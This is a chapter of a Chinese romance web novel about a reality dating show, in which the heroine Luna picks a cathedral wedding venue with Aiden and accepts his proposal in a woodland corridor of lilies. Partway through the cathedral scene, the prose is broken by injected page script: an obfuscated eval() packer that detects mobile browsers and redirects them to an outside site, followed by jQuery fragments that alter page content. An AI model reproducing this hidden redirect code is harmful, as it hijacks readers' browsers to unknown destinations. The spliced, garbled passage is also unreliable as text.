Alice的回复如此浪漫而洒脱，让陆瓷恍惚了一瞬，但是下一刻她就开始镇定地敲字。


    Luna：是本人吗？


    Luna：你不惊讶吗，不担心吗，不打算来点消息轰炸吗？


    Alice再次秒回，发来一大串表情包。


    Alice：[惊讶捂嘴猫meme×99]


    Alice：满意了吗？


    陆瓷刚要发一句“你吵到我眼睛了”过去，Alice的新消息又来了。


    Alice：我确实不太惊讶，也不担心，上次吃饭的时候就看出来你这位“未婚夫”对你着迷得不行了，差点没把他爱你写脸上，而且他综合条件和你算得上门当户对，长得帅，有绅士风度，最难得的是你还喜欢他！我有什么好担心的？你爱不爱他我都尊重，祝福！


    Alice：但是我要额外提醒你啊宝贝，你家的基金还等着你继承呢，遇到愿意结婚的优质男人不容易，机不可失，失不再来啊。


    Alice：不过……那个，其实吧……


    Alice：[害羞捂脸猫meme]


    Alice：其实我现在格外支持你谈恋爱是因为，我好像也要恋爱了。


    陆瓷瞬间坐直了点，打字速度逐渐变快。


    Luna：和谁？什么时候的事？


    Luna：你跟你前任分手的时候不是跟我说，三年以内不碰爱情了吗。


    Alice的回复来得也很快。


    Alice：说起来也巧哈。


    Alice：[乖巧猫meme]


    Alice：我是上次去帮你处理Charlotte的事的时候，在警局遇到他的，他是你们恋综的工作人员。


    Alice：我都两年没谈恋爱了，他长得真的很帅……我打算破例缩减一年。


    陆瓷更加好奇了，《心墙》的工作人员？她印象里没有长得很帅的啊，唯一一个长相清秀的就是Jack了，但Jack完全不像Alice喜欢的类型。难道是X流媒体法务部的工作人员？她打字追问。


    Luna：我需要更多细节。


    Alice的回复却让人失望。也许是因为她的过去的约会故事都太过离奇，现在提起都还会有些尴尬，她打算从今往后保留点神秘感，等八字有一撇了再“上报”给陆瓷。


    Alice：[神秘猫meme]


    Alice：还没正式约过会呢，此刻正在前往跟他吃晚餐的路上，我先和他相处一段时间，检验一下此人什么货色，再向你介绍他。


    Alice不愿透露，陆瓷也没办法，这个话题很快翻了篇。陆瓷不想打扰Alice和这位神秘男士的初次约会，于是她把其他的话也吞回了肚子里。


    或者说，她也不需要再问Alice自己该怎么做，那句“跟随你的心”已经表明了Alice无论如何都支持她、但是给不出什么建设性意见的态度。


    经过一番斗争，陆瓷决定还是先拖着，和Aiden继续照常约会、该同居就同居，等到一个完美的、不得不说的时刻再去给出她的答复。


    ……


    四天转瞬即逝，《心墙》录制进入Day21，接下来的三天，节目里的准新人们将会重新相见，进行同居前的最后相处。


    这三天的时间大部分都可以自由安排，只是每对CP每天都必须见一次面，以及所有参与者都要进行一场节目组预设好主题的录制：共同挑选婚礼场地。


    在这场录制里，参与者们需要和自己的伴侣一起参观至少3个不同的场地，全程都会由摄像组跟踪录制。节目组鼓励大家在这个过程中积极沟通，一起构思与对方结婚的场景、想象两个人的未来，从而理智地做出是否开启同居生活的重大决定。


    陆瓷和Aiden的“挑选结婚场地”录制被安排在Day23。至于Day21和Day22，他们则是通过节目组的转达，约好了连续两天一起吃午餐。首先，两人都要工作，拿不出整个下午的时间来相处——Aiden倒是愿意，只是陆瓷必须紧盯着基金，防止郑氏父子动手脚；其次，为什么不是吃晚餐，是因为陆瓷怕吃完以后一个不小心又把Aiden带回家了。


    Day21的中午，他们约在长明资本附近的一家早午餐。陆瓷在工作方面很自律，但是饮食习惯上却一团糟，她认为brunch是人类最伟大的发明之一，早午合并一餐能节省下来很多宝贵的清晨时间。


    陆瓷本以为见面地点选在长明资本附近，她会是先到的那个人，没想到Aiden比她到得更早。


    这家早午餐装潢很精美，店面却不大，只能容纳十来张四人小木桌。这一天是工作日，还下着点小雨，出来吃饭的人并不多，因此哪怕是在正午12点，这家餐厅里还是只坐了寥寥几人。男人气质优越的身影在这个小空间内格外显眼。


    Aiden又穿回一身黑，上身是一件中领针织长袖，轻薄贴身的布料将他挺拔的肩颈线条、手臂和胸前的肌肉弧度都清晰勾勒。下身还是黑西裤，只是版型偏阔，少了点正式，多了几分休闲。只有一条冷灰色的长款羊绒围巾作为色彩上的“点睛之笔”，松垮地围在他的脖颈上。


    这身装扮极简又不失时髦，但是想必大部分人的注意力都不会放在他的衣服上，而是聚焦在他的脸——男人斜飞的直眉压着一双漆黑的眼眸，明明长了一副浓郁凌厉的面庞，却一直安静地坐着等人，此番景象引得其他食客频频侧目。


    陆瓷走向他的时候，食客们则是更加不受控制地看直了眼。陆瓷刚从长明资本过来，并没有换掉工作穿搭——同样是黑色的女士西装，剪裁得很修身，一条银扣腰带把腰部掐得极细，黑色的长发被利落地挽在脑后，略施妆容的脸上是冷艳而具有冲击力的精致五官。他们俩面对面坐下的这副画面实在令人赏心悦目。


    看见陆瓷，Aiden的脸上浮起笑意，他随手摘下围巾，大概是因为室内温度偏高吧。可陆瓷却无端觉得，Aiden仿佛是有意等她欣赏过他的完整穿搭后，才把围巾取下来的。


    这种猜想带来了一点轻松感，陆瓷一边向走过来的服务员点餐，一边朝男人打招呼：“Hi，好久不见。”


    “好久不见，你今天看起来很美，”Aiden笑道，“这几天你过得怎么样？”


    “大部分时间都在认真工作，挺充实的。”陆瓷如实回答。


    “辛苦吗？你之前说继承手续还没走完，你想先通过项目成果证明自己的能力，一边要录节目、一边要工作，会不会很累？”Aiden关切道。


    “有一点，不过现在这不是来见你、放松心情了嘛。”陆瓷下意识道，也许是放松过头了，这句话说得怪甜的。


    “能让你感到放松是我的荣幸，”男人微微颔首，嘴角弯起，“Luna这几天有想到我吗？”


    一阵轻微的热意在陆瓷脸颊泛起，但她心想没什么好否认的，坦然道：“当然有想到你，不过……几天见不到我，祝先生才应该是想我想得不可自拔吧？”她带上狡黠的尾音。


    “确实是这样，”Aiden更加坦荡，还趁此机会得寸进尺，“所以接下来几天多陪陪我吧，Luna。”


    两人这样打趣着开启了聊天，这才是三天中的第一天，“重头戏”应该留给第三天的录制，因此陆瓷一直没提关于同居、或是爱不爱的事，Aiden也很配合，只是问她工作是否顺利、昨晚吃了些什么这类无伤大雅的话题。


    陆瓷点的班尼迪克蛋和Aiden点的早餐拼盘先后上来，随着刀叉声响起，Aiden不着痕迹地照顾着她，在她开口之前就主动递上黑胡椒罐，在她嘴边沾到一点荷兰酱的时候伸手用餐巾为她轻轻擦去，随后又把餐巾折叠整齐放在一旁。


    男人的行动优雅、有条理、无微不至。在有关工作生活的闲聊和偶尔的插科打诨里，这位坐在小木桌对面的准未婚夫始终与陆瓷保持着对视，耐心地倾听对答。


    N市正值春季，餐厅外飘着淅淅沥沥的小雨，男人注视着她的目光也像一泓粼粼的湖水，轻柔、专注，又包含着不加掩饰的爱意，湖水都快变成烟雾缭绕的温泉。加上那些不经意的肢体触碰，任谁都能从这种暧昧的氛围里看出两人的关系。


    这般被精心呵护的暖意包裹着陆瓷，令她有种沉溺其中的错觉，她夸赞道：“Aiden，我有说过你很贴心吗，今天你好像格外会照顾人呢。”


    “这是我应该做的，”Aiden很谦虚，随即朝她使了个颜色，示意她看向另一桌，声音压低了些，“而且，刚才我在等你的时候，有位女士来要我的联系方式，我说我在等女朋友，她不相信。”


    Aiden自然地在桌面上牵起陆瓷的一只手：“所以……我必须加倍照顾你，向大家证明一下我们的感情很稳定。”他吻了吻她的手背。


    这个吻短暂地将陆瓷带回了蒙眼约会的记忆里，不过只有一瞬间。她看向Aiden示意的那一桌，那里确实坐着个穿着靓丽的年轻女孩，和陆瓷对视的瞬间，女孩露出一个既不好意思、又表示祝福的微笑。


    再转头看向桌对面的Aiden，陆瓷轻快道：“原来如此，既然这样，明天不如我们就在餐厅门口会合，踩准时间，你可以挽着我的手一起进餐厅。”


    “好啊。”Aiden答应道，在陆瓷重新低下头用餐时，他眼中才浮现出一抹愉悦的满足。


    Luna没有否认“女朋友”这个称呼，真是意外之喜。


    ……


    Day22，第二场午餐，两人履行了前一天的约定。这次两人都踩着12点整的时间到达，挽着手进入餐厅。


    这场午餐地点是Aiden选的，依然在长明资本附近。Aiden已经了解了陆瓷的饮食习惯——不爱吃早餐，口味清淡，比起肉食来讲更偏爱碳水，于是他选择了一家粤式早茶。陆瓷吃惯了精致西餐和白人饭，表示这口来自华国南方的“家乡味道”很合她胃口，兴奋地落座。


    这次他们坐在了餐桌的同一边，轮流用铅笔在点餐单上打钩打圈，一起迎来一笼笼热气蒸腾的茶点。陆瓷眼大肚子小，琳琅满目的食物摆在桌上，她每样都尝了一个，剩余的都被Aiden耐心“善后”——一部分慢条斯理地吃掉，一部分用打包盒装好，让陆瓷带回公司当下午茶。


    如果说昨天在早午餐店里时，两人还因为几天没见而略显局促，那么今天在这个粤式酒楼的卡座里，他们就已经渐入佳境。


    在并不宽裕的空间里，男人的手臂触碰着她的，说话时两人会短暂侧头看向对方，鼻尖并没有相隔多远的距离。在这种自然又温馨的相处里，陆瓷仿佛脱离了恋综的情景，忘却了婚姻的紧迫，反而体验到了一种纯粹的快乐，这也许就是Alice常说的“恋爱的感觉”。


    然而这顿午餐就像暴风雨前的宁静一般，美好却短暂。分开之后两人又投身于下午的工作、夜晚的加班。不知不觉间，一夜过去，Day23正式到来，一整天的录制等待着他们，摄像机又重新回到两人的生活里。


    Day23的“挑选婚礼场地”录制从上午开始。他们早已和节目组商定好今天要参观的几个婚礼场地：N市图书馆大厅、一所私人俱乐部的宴会厅，以及一座位于N市边缘地带的大教堂。


    这些场地的费用都相当高昂，并不在节目组能覆盖的范畴内，但是陆瓷和Aiden也并不在意这点。


    他们的社会身份就意味着他们的婚礼不会普通，即使他们决定只宴请亲近的好友、以低调私密的方式举行，这场婚礼也必须要足够隆重、足够昂贵。更别说陆瓷还需要用这场婚礼来为她的继承奠定基础。


    他们首先要参观的是图书馆的场地，上午九点整一行人在图书馆门口汇合。


    因为今天要录制，并且要出入的都是正式场所，Aiden穿了一身纯黑的高定西装，头发也打理得格外整齐。陆瓷也穿上一袭白色修身长裙，做了个简单大气的盘发，只戴了两枚宝格丽白金耳钉作为饰品。


    两人出现在镜头里时，看起来不像热恋中的情侣，反倒像是一对走在前往会谈路上的商界精英，所幸陆瓷穿的是白色，把风格稍微拉回了“挑选婚礼场地”的主题。


    他们步入了图书馆大厅，摄像机跟随在后。这是一座历史悠久的图书馆，有着长长的砖石阶梯以及数个拱形走廊，头顶的铁索吊灯还延续着上个世纪的复古风格。前厅的空间很大，日光从高大的窗扇中挤进来，照在这个空旷而古老的空间。


    这里无疑是一个很独特的婚礼场地，这种学术与浪漫并存的厚重感应该是Alice会喜欢的风格，却不太符合陆瓷的想象。因此，他们简单地参观了一番，便驱车前往下一个场地。


    第二个场地是N市著名私人俱乐部的宴会厅，Aiden是俱乐部的成员，陆瓷的父母也曾是，在继承基金后她自己也会加入——俱乐部是上流社会极其重要的社交场所和人脉网络。


    这个俱乐部享誉甚高，其宴会厅是很多成员子女的结婚场地。宴会厅不大，但是装潢细节考究，灯光明暗恰到好处，还能提供俱乐部自带弦乐队的现场表演。这里很适合用来打造一场布满垂坠绸布和玻璃烛台的室内婚礼。然而，陆瓷知道这个宴会厅一定很符合她的父母的喜好，因此反而不想挑选这里。


    时间来到下午3点多，他们到达了最后一个场地——N市边陲的大教堂。站在这座拥有百年历史的建筑面前，看着斑驳而坚实的墙体和宏伟的复杂尖顶，两人相视一眼，似乎有了答案。


    走进教堂，内部是更多华丽繁复的石柱结构，以及遍布大厅两侧的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882177|189680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    各式玻璃彩窗。这些彩窗在午后阳光的透射下如同发光的玛瑙，又像碎成千万片的彩色琉璃，在色块拼凑出的图案中讲述着一个个神圣的故事。即使教堂位置偏离城市，左右两边密集的长凳上也坐着许多慕名前来祷告的人，偌大的空间里回荡着丝丝缕缕祈祷的呢喃。此情此景具有一种安静的震撼力，陆瓷置身其中久久不能言语。


    Aiden不信教，陆瓷也是无神论者，教堂对他们没有天生的吸引力，但是陆瓷还记得她跟随父母参与的第一场婚礼，那场婚礼就是在教堂里举行。


    那时她刚来到A国一年多，已经在与父母的相处中里看到了生活的残酷真相，也从父母的假面里学会了怎么辨别一段婚姻到底幸福与否。陆瓷已经忘了当时结婚的人是谁、与她父母是什么关系，她只记得那对新人是她见过的、最动人的一双爱侣。


    她还记得那些真诚质朴的誓词、两双潸潸对望的泪眼，以及拥吻时仿佛要将对方揉进骨血的、颤抖的双手。那场教堂里的婚礼，曾是她在对爱情的认知还很贫瘠的年纪里，对一段美好婚姻的唯一想象。


    假如她的婚礼也在教堂里举行……也许在某种未知的力量下，这能够成为一个新的起点。她关于继承基金的谎言可以被赦免，而她和Aiden的婚姻，或许也能通向一个真实的未来。


    她转头去看Aiden，对方似乎已经预料到了她会说什么，微笑以示赞同。


    “我们就在这里举办婚礼吧。”陆瓷说。


    男人轻声答应：“好。”


    ……


    定下婚礼场地后，录制来到尾声，最后一个环节就是：两位参与者要分别表态，说明自己是否愿意与对方展开同居。


    教堂门口，两人在镜头前站定。面对节目组的提问，Aiden很直白地表明了自己的决定：“Luna，如果你不介意的话，我愿意继续和你约会，我愿意和你住在一起，我也愿意和你结婚，我的答案不会改变。”


    这份坚定的选择让陆瓷心生暖意。很快镜头就转向了她，她刚要给出自己接受同居的答案，就感受到Aiden牵住了她的手，用一种前所未有的认真的表情看着她。


    “等等，Luna，我想先带你去一个地方。”他柔声道，然后就牵着陆瓷朝教堂侧面走去。


    节目组似乎也知道什么，没有多问，只是默默地跟着他们拍摄。


    大教堂坐落在N市郊区，毗邻着一片茂密的原生林地。这片树林位于教堂的后侧方，浓淡不一的绿成为了这幅景致里天然的背景色。Aiden带着陆瓷前往的方向正是这片树林。


    随着陆瓷走近树林，她一眼望去，看见了高大庄严的橡树、叶片依然为嫩绿色的糖枫，还看见林间点缀着一些色彩轻盈的白桦树，视野里一片春意盎然。


    走了一段距离，Aiden突然停下，侧头询问道：“Luna，你相信我吗？”


    陆瓷不解，但是她犹豫片刻还是答道：


    “我相信，为什么这么问？”


    男人用行动回答了她的问题。他走到陆瓷的身后，先是扶住她的肩膀，然后掏出那条她很熟悉的、绣有她名字的黑色绸带——是他们在庄园里用过的蒙眼布。


    “可以吗？”Aiden的声音从身后传来。


    陆瓷不免有点担心，不过她心里对Aiden要做什么也有了猜测，更何况录制组还跟在身边，没什么不安全的。她点点头说：“可以。”


    Aiden蒙上了她的眼睛，然后继续扶着她向前走。视觉被剥夺后，陆瓷的听觉变得更加清晰，她听到了微风穿过阔叶林的沙沙声，听到几声远近不一的鸟鸣，还听到自己的心跳在逐渐加快。


    当他们的脚步终于停驻。陆瓷感受到Aiden又来到她的身后为她解开眼罩，男人的呼吸近得像在耳侧。


    世界重新恢复光明。她还站在树林里，但是面前的这幅景象完全超乎了她的想象。


    午后倾斜的阳光从层层叠叠的翠绿树冠里透出，投下一束束光的纱雾。在这样的光线下，伫立着一座完全由花朵打造的走廊。


    一排排浅色木架笼罩在陆瓷的头顶和四周，上千朵或含苞、或盛放的百合花被编成长短错落的花串，从木架上如瀑布般垂泻而下。花瓣内部是淡黄到象牙白的过渡，另一面却是朦胧的烟紫色，酒红色的花蕊低垂下来。


    陆瓷身边的两侧草地也被这种花朵填满，一丛丛、一簇簇百合从落叶间、树根旁温柔地涌出，中间的留白蜿蜒出一道长达五六米的走廊，陆瓷正是站在这廊道的中央，而Aiden站在她的面前，一只手背在身后。


    在无数百合花静默的簇拥中，男人的眼神深沉又炽热，他缓缓开口：


    “Luna，在我们开始同居之前，我想我还欠你一场正式的求婚。”


    他的右腿慢慢弯曲，膝盖落在柔软的草地上，上身依旧稳定地挺直。这个跪姿无比庄重。


    “你说过你喜欢《暮光之城》里的婚礼，我去补习过了，”男人娓娓道来，“我了解到电影中使用的花藤是白色文心兰，但是我挑选了另一种更适合你的花朵作为替代。”


    “这种百合叫做‘东方月亮’，我想告诉你的是……Luna，你就是我的月亮。”


    “从我们第一次听到彼此的声音，到每一次见面，你对我的吸引力始终如同夜空中的皓月，无法忽视、无法抗拒，你给我带来的心动，也无法忘却、无法排解。”


    “Luna……我爱你。”


    陆瓷的内心已经完全兵荒马乱，她预料到等着自己的可能是一场求婚，但是没想到会是这般盛大而珍重。她双唇微张，却一时间组织不了语言。


    在她失语之际，Aiden背在身后的手终于拿出，那是一个打开的戒指盒，里面躺着一枚精美的戒指。


    榄尖形的耀眼钻石竖着镶嵌在有隐约刻字的白金指环上。这颗石头有绚丽的切面，也有尖锐的棱角，就像Aiden眼中的女孩一样，既锋利又柔软。


    “你愿意嫁给我吗？”Aiden问出这个最终的问题。即使走到这一步完全依照他的计划、也符合他的预期，但是这一刻，他还是不可避免地感到忐忑。


    每一秒都过得很慢，在漫天垂悬的花瀑下，两颗心都跳成了纷乱的鼓点，又随着每一秒的过去，渐渐地同步成一种节拍。


    终于，陆瓷找回了自己的声音。


    “……我愿意。”


    咖啡店门口的不期而遇，坐在餐桌对面的狐狸面具，烙在手背上的吻。


    危机中的陪伴，花房里的拥吻，老城区的公寓里、眼角的泪光。


    这些碎片，连同着几天前那段真切的告白，与面前这个单膝跪地的男人相重合。


    几次呼吸后，陆瓷还听见自己说：


    “Aiden，我也爱你。”